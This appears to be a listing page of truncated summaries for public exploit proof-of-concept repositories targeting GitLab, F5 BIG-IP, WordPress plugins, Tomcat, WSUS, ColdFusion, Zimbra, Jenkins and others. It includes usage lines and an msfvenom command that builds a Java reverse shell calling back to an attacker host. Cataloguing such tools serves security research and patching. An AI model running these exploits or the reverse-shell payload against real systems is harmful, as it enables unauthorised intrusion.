CVE-2022-2992

CVE-2022-2992 Authenticated Remote Command Execution in Gitlab via GitHub import. A vulnerability in GitLab CE/EE affecting all versions from 11.10 before 15.1.6, all versions starting from 15.2 before 15.2.4, all versions starting from 15.3 before 15.3.2. allows an authenticated user to achieve...

CVE-2023-43208_Detection_PoC

CVE-2023-43208DetectionPoC Use java.net.InetAddress for detection root@kitploit: POST /api/users HTTP/1.1 Host: ip:8443 User-Agent: Mozilla/5.0 X11; CrOS x8664 14541.0.0 AppleWebKit/537.36 KHTML, like Gecko Chrome/120.0.0.0 Safari/537.36 Connection: keep-alive Content-Length: 1964 Content-Type:...

CVE-2022-33891

CVE-2022-33891 PoC PoC for CVE-2022-33891, with ability to set custom payloads. Not vulnerable by default -- spark.acls.enable need to be TRUE. Intended Use Usage of this script is limited to personnel who are authorised to run the payload on the target hosts for vulnerability patching purposes...

CVE-2022-1388

CVE-2022-1388 PoC for CVE-2022-1388 affecting F5 BIG-IP. Usage root@kitploit: $ ./poc.sh --help Usage: poc.sh --help --file FILE --scan --exploit --payload PAYLOAD CVE-2022-1388 PoC script. One or multiple IPs can be scanned. Arguments: --help Show this help message and exit. --file FILE File lis...

poc-cve-xss-encoded-wp-inventory-manager-plugin

Update - 5/10/2023 The CVE-2023-2123 ID was reserved and the PoC was published in the WPScan website: https://wpscan.com/vulnerability/44448888-cd5d-482e-859e-123e442ce5c1 Details Title: Unauthenticated Reflected Cross-Site Scripting in WP Inventory Manager Plugin for WordPress CMS Date: 2023-04-...

nxboot

nxboot CLI tool for Nintendo Switch RCM payload launching Fusée Gelée. Uses Zig and libusb. Requirements Zig 0.15.2 Usage 1. Put the console in RCM and connect it to your machine via USB. 2. Run: root@kitploit: zig build -Doptimize=ReleaseSafe run -- /path/to/payload.bin Note: with a Debug build...

0-click-RCE-Exploit-for-CVE-2024-51793

CVE-2024-51793 / 0-Click RCE Exploit Author: Joshua Provoste https://x.com/JoshuaProvoste/status/1858668072279626138 This repository contains a proof-of-concept exploit for CVE-2024-51793, an unauthenticated arbitrary file upload vulnerability in a vulnerable WordPress plugin, leading to remote...

CVE-2025-48384-main

PoC for CVE-2025-48384 This is a POC. Don't download it in an unsafe environment. It will allow the hacker to execute remote code on your machine See CVE-2025-48384 To run: root@kitploit: git clone --recurse-submodules [email protected]:zr0n/CVE-2025-48384-main.git The executed payload is he...

CVE-2025-24813

CVE-2025-24813 Description This repo aims to provide clear instructions for rapid deployment of Tomcat v9.0.90 with java 25.0.1 2025-10-21 LTS on Windows Server 2019 Standard for Cyber Security threat emulation exercise. The exploit.py leverages on ysoserial-all.jar to create a payload using...

cve-2025-59287

CVE-2025-59287 - WSUS Exploitation Toolkit by adel-h4x0a ⚠️ For Educational and Authorized Testing Purposes Only ⚠️ Overview This toolkit demonstrates the exploitation of CVE-2025-59287, a remote code execution vulnerability in Windows Server Update Services WSUS. Components 1. Encryption Module...

CVE-2023-26360-RCE

CVE-2023-26360 - Remote Code Execution on ColdFusion 2021 Sometimes, the scripts don't work at first attempt. Try a few times to make it work How to execute Create a payload with msfvenom root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java Starting server.py Th...

safer-eval-cve-CVE-2019-10760

safer-eval-cve-CVE-2019-10760 The following proof-of-concept POC exploit addressing safer-eval version 1.3.1 and below is the first publicly known payload to attack this version range. Contributing Please consult CONTRIBUTING for guidelines on contributing to this project...

CVE-2023-42793

About CVE-2023-42793 You will need to obtain the token first through using different exploit. However, the following exploit will allow you to obtain RCE into the Linux server as it encoded the payload in URL and sends it to the server. How to use root@kitploit: python3 ./main -t TEAMCITYTOKEN -u...

GarbageMan

GarbageMan What is GarbageMan? GarbageMan is a set of tools designed for .NET heap analysis. These tools offer the following benefits for malware researchers: Ability to extract clear-text payload PE Images etc. from .NET heaps quickly. Easy analysis of encrypted network protocols, signs of data...

cve-2018-6574-payload

cve-2018-6574-payload...

CVE-2022-38725

CVE-2022-38725 CVE-2022-38725 is an unauthenticated Denial of Service vulnerability in syslog-ng versions prior to 3.38.1. https://github.com/syslog-ng/syslog-ng/security/advisories/GHSA-7932-4fc6-pvmc https://nvd.nist.gov/vuln/detail/CVE-2022-38725 Steps to Reproduce 1. Pull a vulnerable docker...

Zimbra-RCE

Zimbra-RCE Zimbra RCE CVE-2019-9670 root@kitploit: $ ./zimbra.py -h . . \ /|| \ | \ \ \ / / / | |/ | \ \ \ | / \ / | / / | | Y Y \ \ \ | // \ | | \ | \ / |||| / /| / || /\ / / / / / / / / / usage: zimbra.py -h -u URL -d DTD -n PAYLOADNAME -f PAYLOADFILE Zimbra RCE CVE-2019-9670...

CVE-2026-43499_OPPO-MT6835

CVE-2026-43499 / GhostLock PoC for OPPO MT6835 This repository preserves a compact research snapshot for the GhostLock-style exploit chain targeting an OPPO MT6835-based device. Scope Exploit source tree under exploit Minimal proof-of-concept under poc Supporting analysis notes and build artifact...

react-ssr-vulnerability

CVE-2025-55182 - React Server Components RCE POC This is POC for educational and security research purposes only. This vulnerability has been patched in the latest versions of the affected packages. Use this tool only on systems you own or have explicit permission to test. I am not liable for any...

PoC-CVE-2019-1003030

Jenkins 2.63 Script Security Sandbox Bypass PoC This project automates the creation and delivery of Groovy payloads to the Jenkins SecureGroovyScript validation endpoint used by Jenkins 2.63. The tool supports both interactive and one-shot execution. the exploit doesn't return output so you are...